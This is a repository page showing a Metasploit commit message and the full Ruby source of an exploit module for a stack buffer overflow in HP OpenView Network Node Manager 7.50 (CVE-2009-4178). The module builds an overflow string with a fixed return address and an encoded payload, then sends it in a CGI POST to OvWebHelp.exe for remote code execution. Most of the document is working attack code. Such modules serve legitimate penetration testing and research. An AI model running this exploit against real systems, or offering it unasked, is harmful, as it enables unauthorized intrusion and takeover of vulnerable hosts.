3752c10ccf
This was tested by creating a resource script to load every changed module and displaying the options, like so: ```` use auxiliary/admin/2wire/xslt_password_reset show options use auxiliary/admin/http/contentkeeper_fileaccess show options ```` ...etc. This was run in both the master branch and FireFart's branch while spooling out the results of msfconsole, then diffing those results. All modules loaded successfully, and there were no changes to the option sets, so it looks like a successful fix. Thanks FireFart! Squashed commit of the following: commit 7c1eea53fe3743f59402e445cf34fab84cf5a4b7 Author: Christian Mehlmauer <FireFart@gmail.com> Date: Fri May 25 22:09:42 2012 +0200 Cleanup Opt::RPORT(80) since it is already registered by Msf::Exploit::Remote::HttpClient
73 lines
1.7 KiB
Ruby
73 lines
1.7 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'HP OpenView Network Node Manager OvWebHelp.exe CGI Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.50.
|
|
By sending a specially crafted CGI request to OvWebHelp.exe, an attacker may be able to execute
|
|
arbitrary code.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-4178' ],
|
|
[ 'OSVDB', '60929' ],
|
|
[ 'BID', '37340' ],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 650,
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'HP OpenView Network Node Manager 7.50', { 'Ret' => 0x5a01d78d } ], # ov.dll
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Dec 9 2009'))
|
|
end
|
|
|
|
def exploit
|
|
|
|
sploit = rand_text_alpha_upper(5123) + [target.ret].pack('V') + payload.encoded
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
send_request_cgi({
|
|
'uri' => "/OvCgi/OvWebHelp.exe",
|
|
'method' => "POST",
|
|
'data' => "Topic=#{sploit}",
|
|
}, 3)
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
end
|